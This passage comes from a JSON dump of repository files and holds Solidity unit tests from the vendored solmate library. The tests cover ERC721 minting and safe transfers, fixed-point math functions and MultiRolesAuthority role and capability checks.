address(recipient));\n        assertEq(token.balanceOf(address(recipient)), 1);\n        assertEq(token.balanceOf(address(from)), 0);\n\n        assertEq(recipient.operator(), address(this));\n        assertEq(recipient.from(), address(from));\n        assertEq(recipient.id(), id);\n        assertBytesEq(recipient.data(), data);\n    }\n\n    function testSafeMintToEOA(uint256 id, address to) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;\n\n        token.safeMint(to, id);\n\n        assertEq(token.ownerOf(id), address(to));\n        assertEq(token.balanceOf(address(to)), 1);\n    }\n\n    function testSafeMintToERC721Recipient(uint256 id) public {\n        ERC721Recipient to = new ERC721Recipient();\n\n        token.safeMint(address(to), id);\n\n        assertEq(token.ownerOf(id), address(to));\n        assertEq(token.balanceOf(address(to)), 1);\n\n        assertEq(to.operator(), address(this));\n        assertEq(to.from(), address(0));\n        assertEq(to.id(), id);\n        assertBytesEq(to.data(), \"\");\n    }\n\n    function testSafeMintToERC721RecipientWithData(uint256 id, bytes calldata data) public {\n        ERC721Recipient to = new ERC721Recipient();\n\n        token.safeMint(address(to), id, data);\n\n        assertEq(token.ownerOf(id), address(to));\n        assertEq(token.balanceOf(address(to)), 1);\n\n        assertEq(to.operator(), address(this));\n        assertEq(to.from(), address(0));\n        assertEq(to.id(), id);\n        assertBytesEq(to.data(), data);\n    }\n\n    function testFailMintToZero(uint256 id) public {\n        token.mint(address(0), id);\n    }\n\n    function testFailDoubleMint(uint256 id, address to) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        token.mint(to, id);\n        token.mint(to, id);\n    }\n\n    function testFailBurnUnMinted(uint256 id) public {\n        token.burn(id);\n    }\n\n    function testFailDoubleBurn(uint256 id, address to) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        token.mint(to, id);\n\n        token.burn(id);\n        token.burn(id);\n    }\n\n    function testFailApproveUnMinted(uint256 id, address to) public {\n        token.approve(to, id);\n    }\n\n    function testFailApproveUnAuthorized(\n        address owner,\n        uint256 id,\n        address to\n    ) public {\n        if (owner == address(0)) to = address(0xBEEF);\n        if (owner == address(this)) return;\n\n        token.mint(owner, id);\n\n        token.approve(to, id);\n    }\n\n    function testFailTransferFromUnOwned(\n        address from,\n        address to,\n        uint256 id\n    ) public {\n        token.transferFrom(from, to, id);\n    }\n\n    function testFailTransferFromWrongFrom(\n        address owner,\n        address from,\n        address to,\n        uint256 id\n    ) public {\n        if (owner == address(0)) to = address(0xBEEF);\n        if (from == owner) revert();\n\n        token.mint(owner, id);\n\n        token.transferFrom(from, to, id);\n    }\n\n    function testFailTransferFromToZero(uint256 id) public {\n        token.mint(address(this), id);\n\n        token.transferFrom(address(this), address(0), id);\n    }\n\n    function testFailTransferFromNotOwner(\n        address from,\n        address to,\n        uint256 id\n    ) public {\n        if (from == address(0)) to = address(0xBEEF);\n\n        token.mint(from, id);\n\n        token.transferFrom(from, to, id);\n    }\n\n    function testFailSafeTransferFromToNonERC721Recipient(uint256 id) public {\n        token.mint(address(this), id);\n\n        token.safeTransferFrom(address(this), address(new NonERC721Recipient()), id);\n    }\n\n    function testFailSafeTransferFromToNonERC721RecipientWithData(uint256 id, bytes calldata data) public {\n        token.mint(address(this), id);\n\n        token.safeTransferFrom(address(this), address(new NonERC721Recipient()), id, data);\n    }\n\n    function testFailSafeTransferFromToRevertingERC721Recipient(uint256 id) public {\n        token.mint(address(this), id);\n\n        token.safeTransferFrom(address(this), address(new RevertingERC721Recipient()), id);\n    }\n\n    function testFailSafeTransferFromToRevertingERC721RecipientWithData(uint256 id, bytes calldata data) public {\n        token.mint(address(this), id);\n\n        token.safeTransferFrom(address(this), address(new RevertingERC721Recipient()), id, data);\n    }\n\n    function testFailSafeTransferFromToERC721RecipientWithWrongReturnData(uint256 id) public {\n        token.mint(address(this), id);\n\n        token.safeTransferFrom(address(this), address(new WrongReturnDataERC721Recipient()), id);\n    }\n\n    function testFailSafeTransferFromToERC721RecipientWithWrongReturnDataWithData(uint256 id, bytes calldata data)\n        public\n    {\n        token.mint(address(this), id);\n\n        token.safeTransferFrom(address(this), address(new WrongReturnDataERC721Recipient()), id, data);\n    }\n\n    function testFailSafeMintToNonERC721Recipient(uint256 id) public {\n        token.safeMint(address(new NonERC721Recipient()), id);\n    }\n\n    function testFailSafeMintToNonERC721RecipientWithData(uint256 id, bytes calldata data) public {\n        token.safeMint(address(new NonERC721Recipient()), id, data);\n    }\n\n    function testFailSafeMintToRevertingERC721Recipient(uint256 id) public {\n        token.safeMint(address(new RevertingERC721Recipient()), id);\n    }\n\n    function testFailSafeMintToRevertingERC721RecipientWithData(uint256 id, bytes calldata data) public {\n        token.safeMint(address(new RevertingERC721Recipient()), id, data);\n    }\n\n    function testFailSafeMintToERC721RecipientWithWrongReturnData(uint256 id) public {\n        token.safeMint(address(new WrongReturnDataERC721Recipient()), id);\n    }\n\n    function testFailSafeMintToERC721RecipientWithWrongReturnDataWithData(uint256 id, bytes calldata data) public {\n        token.safeMint(address(new WrongReturnDataERC721Recipient()), id, data);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/FixedPointMathLib.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\n\nimport {FixedPointMathLib} from \"../utils/FixedPointMathLib.sol\";\n\ncontract FixedPointMathLibTest is DSTestPlus {\n    function testMulWadDown() public {\n        assertEq(FixedPointMathLib.mulWadDown(2.5e18, 0.5e18), 1.25e18);\n        assertEq(FixedPointMathLib.mulWadDown(3e18, 1e18), 3e18);\n        assertEq(FixedPointMathLib.mulWadDown(369, 271), 0);\n    }\n\n    function testMulWadDownEdgeCases() public {\n        assertEq(FixedPointMathLib.mulWadDown(0, 1e18), 0);\n        assertEq(FixedPointMathLib.mulWadDown(1e18, 0), 0);\n        assertEq(FixedPointMathLib.mulWadDown(0, 0), 0);\n    }\n\n    function testMulWadUp() public {\n        assertEq(FixedPointMathLib.mulWadUp(2.5e18, 0.5e18), 1.25e18);\n        assertEq(FixedPointMathLib.mulWadUp(3e18, 1e18), 3e18);\n        assertEq(FixedPointMathLib.mulWadUp(369, 271), 1);\n    }\n\n    function testMulWadUpEdgeCases() public {\n        assertEq(FixedPointMathLib.mulWadUp(0, 1e18), 0);\n        assertEq(FixedPointMathLib.mulWadUp(1e18, 0), 0);\n        assertEq(FixedPointMathLib.mulWadUp(0, 0), 0);\n    }\n\n    function testDivWadDown() public {\n        assertEq(FixedPointMathLib.divWadDown(1.25e18, 0.5e18), 2.5e18);\n        assertEq(FixedPointMathLib.divWadDown(3e18, 1e18), 3e18);\n        assertEq(FixedPointMathLib.divWadDown(2, 100000000000000e18), 0);\n    }\n\n    function testDivWadDownEdgeCases() public {\n        assertEq(FixedPointMathLib.divWadDown(0, 1e18), 0);\n    }\n\n    function testFailDivWadDownZeroDenominator() public pure {\n        FixedPointMathLib.divWadDown(1e18, 0);\n    }\n\n    function testDivWadUp() public {\n        assertEq(FixedPointMathLib.divWadUp(1.25e18, 0.5e18), 2.5e18);\n        assertEq(FixedPointMathLib.divWadUp(3e18, 1e18), 3e18);\n        assertEq(FixedPointMathLib.divWadUp(2, 100000000000000e18), 1);\n    }\n\n    function testDivWadUpEdgeCases() public {\n        assertEq(FixedPointMathLib.divWadUp(0, 1e18), 0);\n    }\n\n    function testFailDivWadUpZeroDenominator() public pure {\n        FixedPointMathLib.divWadUp(1e18, 0);\n    }\n\n    function testMulDivDown() public {\n        assertEq(FixedPointMathLib.mulDivDown(2.5e27, 0.5e27, 1e27), 1.25e27);\n        assertEq(FixedPointMathLib.mulDivDown(2.5e18, 0.5e18, 1e18), 1.25e18);\n        assertEq(FixedPointMathLib.mulDivDown(2.5e8, 0.5e8, 1e8), 1.25e8);\n        assertEq(FixedPointMathLib.mulDivDown(369, 271, 1e2), 999);\n\n        assertEq(FixedPointMathLib.mulDivDown(1e27, 1e27, 2e27), 0.5e27);\n        assertEq(FixedPointMathLib.mulDivDown(1e18, 1e18, 2e18), 0.5e18);\n        assertEq(FixedPointMathLib.mulDivDown(1e8, 1e8, 2e8), 0.5e8);\n\n        assertEq(FixedPointMathLib.mulDivDown(2e27, 3e27, 2e27), 3e27);\n        assertEq(FixedPointMathLib.mulDivDown(3e18, 2e18, 3e18), 2e18);\n        assertEq(FixedPointMathLib.mulDivDown(2e8, 3e8, 2e8), 3e8);\n    }\n\n    function testMulDivDownEdgeCases() public {\n        assertEq(FixedPointMathLib.mulDivDown(0, 1e18, 1e18), 0);\n        assertEq(FixedPointMathLib.mulDivDown(1e18, 0, 1e18), 0);\n        assertEq(FixedPointMathLib.mulDivDown(0, 0, 1e18), 0);\n    }\n\n    function testFailMulDivDownZeroDenominator() public pure {\n        FixedPointMathLib.mulDivDown(1e18, 1e18, 0);\n    }\n\n    function testMulDivUp() public {\n        assertEq(FixedPointMathLib.mulDivUp(2.5e27, 0.5e27, 1e27), 1.25e27);\n        assertEq(FixedPointMathLib.mulDivUp(2.5e18, 0.5e18, 1e18), 1.25e18);\n        assertEq(FixedPointMathLib.mulDivUp(2.5e8, 0.5e8, 1e8), 1.25e8);\n        assertEq(FixedPointMathLib.mulDivUp(369, 271, 1e2), 1000);\n\n        assertEq(FixedPointMathLib.mulDivUp(1e27, 1e27, 2e27), 0.5e27);\n        assertEq(FixedPointMathLib.mulDivUp(1e18, 1e18, 2e18), 0.5e18);\n        assertEq(FixedPointMathLib.mulDivUp(1e8, 1e8, 2e8), 0.5e8);\n\n        assertEq(FixedPointMathLib.mulDivUp(2e27, 3e27, 2e27), 3e27);\n        assertEq(FixedPointMathLib.mulDivUp(3e18, 2e18, 3e18), 2e18);\n        assertEq(FixedPointMathLib.mulDivUp(2e8, 3e8, 2e8), 3e8);\n    }\n\n    function testMulDivUpEdgeCases() public {\n        assertEq(FixedPointMathLib.mulDivUp(0, 1e18, 1e18), 0);\n        assertEq(FixedPointMathLib.mulDivUp(1e18, 0, 1e18), 0);\n        assertEq(FixedPointMathLib.mulDivUp(0, 0, 1e18), 0);\n    }\n\n    function testFailMulDivUpZeroDenominator() public pure {\n        FixedPointMathLib.mulDivUp(1e18, 1e18, 0);\n    }\n\n    function testRPow() public {\n        assertEq(FixedPointMathLib.rpow(2e27, 2, 1e27), 4e27);\n        assertEq(FixedPointMathLib.rpow(2e18, 2, 1e18), 4e18);\n        assertEq(FixedPointMathLib.rpow(2e8, 2, 1e8), 4e8);\n        assertEq(FixedPointMathLib.rpow(8, 3, 1), 512);\n    }\n\n    function testSqrt() public {\n        assertEq(FixedPointMathLib.sqrt(0), 0);\n        assertEq(FixedPointMathLib.sqrt(1), 1);\n        assertEq(FixedPointMathLib.sqrt(2704), 52);\n        assertEq(FixedPointMathLib.sqrt(110889), 333);\n        assertEq(FixedPointMathLib.sqrt(32239684), 5678);\n    }\n\n    function testMulWadDown(uint256 x, uint256 y) public {\n        // Ignore cases where x * y overflows.\n        unchecked {\n            if ((x != 0 && (x * y) / x != y)) return;\n        }\n\n        assertEq(FixedPointMathLib.mulWadDown(x, y), (x * y) / 1e18);\n    }\n\n    function testFailMulWadDownOverflow(uint256 x, uint256 y) public pure {\n        // Ignore cases where x * y does not overflow.\n        unchecked {\n            if ((x * y) / x == y) revert();\n        }\n\n        FixedPointMathLib.mulWadDown(x, y);\n    }\n\n    function testMulWadUp(uint256 x, uint256 y) public {\n        // Ignore cases where x * y overflows.\n        unchecked {\n            if ((x != 0 && (x * y) / x != y)) return;\n        }\n\n        assertEq(FixedPointMathLib.mulWadUp(x, y), x * y == 0 ? 0 : (x * y - 1) / 1e18 + 1);\n    }\n\n    function testFailMulWadUpOverflow(uint256 x, uint256 y) public pure {\n        // Ignore cases where x * y does not overflow.\n        unchecked {\n            if ((x * y) / x == y) revert();\n        }\n\n        FixedPointMathLib.mulWadUp(x, y);\n    }\n\n    function testDivWadDown(uint256 x, uint256 y) public {\n        // Ignore cases where x * WAD overflows or y is 0.\n        unchecked {\n            if (y == 0 || (x != 0 && (x * 1e18) / 1e18 != x)) return;\n        }\n\n        assertEq(FixedPointMathLib.divWadDown(x, y), (x * 1e18) / y);\n    }\n\n    function testFailDivWadDownOverflow(uint256 x, uint256 y) public pure {\n        // Ignore cases where x * WAD does not overflow or y is 0.\n        unchecked {\n            if (y == 0 || (x * 1e18) / 1e18 == x) revert();\n        }\n\n        FixedPointMathLib.divWadDown(x, y);\n    }\n\n    function testFailDivWadDownZeroDenominator(uint256 x) public pure {\n        FixedPointMathLib.divWadDown(x, 0);\n    }\n\n    function testDivWadUp(uint256 x, uint256 y) public {\n        // Ignore cases where x * WAD overflows or y is 0.\n        unchecked {\n            if (y == 0 || (x != 0 && (x * 1e18) / 1e18 != x)) return;\n        }\n\n        assertEq(FixedPointMathLib.divWadUp(x, y), x == 0 ? 0 : (x * 1e18 - 1) / y + 1);\n    }\n\n    function testFailDivWadUpOverflow(uint256 x, uint256 y) public pure {\n        // Ignore cases where x * WAD does not overflow or y is 0.\n        unchecked {\n            if (y == 0 || (x * 1e18) / 1e18 == x) revert();\n        }\n\n        FixedPointMathLib.divWadUp(x, y);\n    }\n\n    function testFailDivWadUpZeroDenominator(uint256 x) public pure {\n        FixedPointMathLib.divWadUp(x, 0);\n    }\n\n    function testMulDivDown(\n        uint256 x,\n        uint256 y,\n        uint256 denominator\n    ) public {\n        // Ignore cases where x * y overflows or denominator is 0.\n        unchecked {\n            if (denominator == 0 || (x != 0 && (x * y) / x != y)) return;\n        }\n\n        assertEq(FixedPointMathLib.mulDivDown(x, y, denominator), (x * y) / denominator);\n    }\n\n    function testFailMulDivDownOverflow(\n        uint256 x,\n        uint256 y,\n        uint256 denominator\n    ) public pure {\n        // Ignore cases where x * y does not overflow or denominator is 0.\n        unchecked {\n            if (denominator == 0 || (x * y) / x == y) revert();\n        }\n\n        FixedPointMathLib.mulDivDown(x, y, denominator);\n    }\n\n    function testFailMulDivDownZeroDenominator(uint256 x, uint256 y) public pure {\n        FixedPointMathLib.mulDivDown(x, y, 0);\n    }\n\n    function testMulDivUp(\n        uint256 x,\n        uint256 y,\n        uint256 denominator\n    ) public {\n        // Ignore cases where x * y overflows or denominator is 0.\n        unchecked {\n            if (denominator == 0 || (x != 0 && (x * y) / x != y)) return;\n        }\n\n        assertEq(FixedPointMathLib.mulDivUp(x, y, denominator), x * y == 0 ? 0 : (x * y - 1) / denominator + 1);\n    }\n\n    function testFailMulDivUpOverflow(\n        uint256 x,\n        uint256 y,\n        uint256 denominator\n    ) public pure {\n        // Ignore cases where x * y does not overflow or denominator is 0.\n        unchecked {\n            if (denominator == 0 || (x * y) / x == y) revert();\n        }\n\n        FixedPointMathLib.mulDivUp(x, y, denominator);\n    }\n\n    function testFailMulDivUpZeroDenominator(uint256 x, uint256 y) public pure {\n        FixedPointMathLib.mulDivUp(x, y, 0);\n    }\n\n    function testSqrt(uint256 x) public {\n        uint256 root = FixedPointMathLib.sqrt(x);\n        uint256 next = root + 1;\n\n        // Ignore cases where next * next overflows.\n        unchecked {\n            if (next * next < next) return;\n        }\n\n        assertTrue(root * root <= x && next * next > x);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/MultiRolesAuthority.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\nimport {MockAuthority} from \"./utils/mocks/MockAuthority.sol\";\n\nimport {Authority} from \"../auth/Auth.sol\";\n\nimport {MultiRolesAuthority} from \"../auth/authorities/MultiRolesAuthority.sol\";\n\ncontract MultiRolesAuthorityTest is DSTestPlus {\n    MultiRolesAuthority multiRolesAuthority;\n\n    function setUp() public {\n        multiRolesAuthority = new MultiRolesAuthority(address(this), Authority(address(0)));\n    }\n\n    function testSetRoles() public {\n        assertFalse(multiRolesAuthority.doesUserHaveRole(address(0xBEEF), 0));\n\n        multiRolesAuthority.setUserRole(address(0xBEEF), 0, true);\n        assertTrue(multiRolesAuthority.doesUserHaveRole(address(0xBEEF), 0));\n\n        multiRolesAuthority.setUserRole(address(0xBEEF), 0, false);\n        assertFalse(multiRolesAuthority.doesUserHaveRole(address(0xBEEF), 0));\n    }\n\n    function testSetRoleCapabilities() public {\n        assertFalse(multiRolesAuthority.doesRoleHaveCapability(0, 0xBEEFCAFE));\n\n        multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, true);\n        assertTrue(multiRolesAuthority.doesRoleHaveCapability(0, 0xBEEFCAFE));\n\n        multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, false);\n        assertFalse(multiRolesAuthority.doesRoleHaveCapability(0, 0xBEEFCAFE));\n    }\n\n    function testSetPublicCapabilities() public {\n        assertFalse(multiRolesAuthority.isCapabilityPublic(0xBEEFCAFE));\n\n        multiRolesAuthority.setPublicCapability(0xBEEFCAFE, true);\n        assertTrue(multiRolesAuthority.isCapabilityPublic(0xBEEFCAFE));\n\n        multiRolesAuthority.setPublicCapability(0xBEEFCAFE, false);\n        assertFalse(multiRolesAuthority.isCapabilityPublic(0xBEEFCAFE));\n    }\n\n    function testSetTargetCustomAuthority() public {\n        assertEq(address(multiRolesAuthority.getTargetCustomAuthority(address(0xBEEF))), address(0));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xBEEF), Authority(address(0xCAFE)));\n        assertEq(address(multiRolesAuthority.getTargetCustomAuthority(address(0xBEEF))), address(0xCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xBEEF), Authority(address(0)));\n        assertEq(address(multiRolesAuthority.getTargetCustomAuthority(address(0xBEEF))), address(0));\n    }\n\n    function testCanCallWithAuthorizedRole() public {\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setUserRole(address(0xBEEF), 0, true);\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, true);\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, false);\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, true);\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setUserRole(address(0xBEEF), 0, false);\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n    }\n\n    function testCanCallPublicCapability() public {\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setPublicCapability(0xBEEFCAFE, true);\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setPublicCapability(0xBEEFCAFE, false);\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n    }\n\n    function testCanCallWithCustomAuthority() public {\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(false));\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(true));\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(false));\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), Authority(address(0)));\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(true));\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n    }\n\n    function testCanCallWithCustomAuthorityOverridesPublicCapability() public {\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setPublicCapability(0xBEEFCAFE, true);\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(false));\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(true));\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setPublicCapability(0xBEEFCAFE, false);\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), Authority(address(0)));\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setPublicCapability(0xBEEFCAFE, true);\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n    }\n\n    function testCanCallWithCustomAuthorityOverridesUserWithRole() public {\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setUserRole(address(0xBEEF), 0, true);\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, true);\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(false));\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(true));\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setUserRole(address(0xBEEF), 0, false);\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), Authority(address(0)));\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setUserRole(address(0xBEEF), 0, true);\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, false);\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setUserRole(address(0xBEEF), 0, false);\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n    }\n\n    function testSetRoles(address user, uint8 role) public {\n        assertFalse(multiRolesAuthority.doesUserHaveRole(user, role));\n\n        multiRolesAuthority.setUserRole(user, role, true);\n        assertTrue(multiRolesAuthority.doesUserHaveRole(user, role));\n\n        multiRolesAuthority.setUserRole(user, role, false);\n        assertFalse(multiRolesAuthority.doesUserHaveRole(user, role));\n    }\n\n    function testSetRoleCapabilities(uint8 role, bytes4 functionSig) public {\n        assertFalse(multiRolesAuthority.doesRoleHaveCapability(role, functionSig));\n\n        multiRolesAuthority.setRoleCapability(role, functionSig, true);\n        assertTrue(multiRolesAuthority.doesRoleHaveCapability(role, functionSig));\n\n        multiRolesAuthority.setRoleCapability(role, functionSig, false);\n        assertFalse(multiRolesAuthority.doesRoleHaveCapability(role, functionSig));\n    }\n\n    function testSetPublicCapabilities(bytes4 functionSig) public {\n        assertFalse(multiRolesAuthority.isCapabilityPublic(functionSig));\n\n        multiRolesAuthority.setPublicCapability(functionSig, true);\n        assertTrue(multiRolesAuthority.isCapabilityPublic(functionSig));\n\n        multiRolesAuthority.setPublicCapability(functionSig, false);\n        assertFalse(multiRolesAuthority.isCapabilityPublic(functionSig));\n    }\n\n    function testSetTargetCustomAuthority(address user, Authority customAuthority) public {\n        assertEq(address(multiRolesAuthority.getTargetCustomAuthority(user)), address(0));\n\n        multiRolesAuthority.setTargetCustomAuthority(user, customAuthority);\n        assertEq(address(multiRolesAuthority.getTargetCustomAuthority(user)), address(customAuthority));\n\n        multiRolesAuthority.setTargetCustomAuthority(user, Authority(address(0)));\n        assertEq(address(multiRolesAuthority.getTargetCustomAuthority(user)), address(0));\n    }\n\n    function testCanCallWithAuthorizedRole(\n        address user,\n        uint8 role,\n        address target,\n        bytes4 functionSig\n    ) public {\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setUserRole(user, role, true);\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setRoleCapability(role, functionSig, true);\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setRoleCapability(role, functionSig, false);\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setRoleCapability(role, functionSig, true);\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setUserRole(user, role, false);\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n    }\n\n    function testCanCallPublicCapability(\n        address user,\n        address target,\n        bytes4 functionSig\n    ) public {\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setPublicCapability(functionSig, true);\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setPublicCapability(functionSig, false);\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n    }\n\n    function testCanCallWithCustomAuthority(\n        address user,\n        address target,\n        bytes4 functionSig\n    ) public {\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(false));\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(true));\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(false));\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setTargetCustomAuthority(target, Authority(address(0)));\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(true));\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n    }\n\n    function testCanCallWithCustomAuthorityOverridesPublicCapability(\n        address user,\n        address target,\n        bytes4 functionSig\n    ) public {\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setPublicCapability(functionSig, true);\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(false));\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(true));\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setPublicCapability(functionSig, false);\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setTargetCustomAuthority(target, Authority(address(0)));\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setPublicCapability(functionSig, true);\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n    }\n\n    function testCanCallWithCustomAuthorityOverridesUserWithRole(\n        address user,\n        uint8 role,\n        address target,\n        bytes4 functionSig\n    ) public {\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setUserRole(user, role, true);\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setRoleCapability(role, functionSig, true);\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(false));\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(true));\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setUserRole(user, role, false);\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setTargetCustomAuthority(target, Authority(address(0)));\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setUserRole(user, role, true);\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setRoleCapability(role, functionSig, false);\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setUserRole(user, role, false);\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n    }\n}\n"
  },
  {
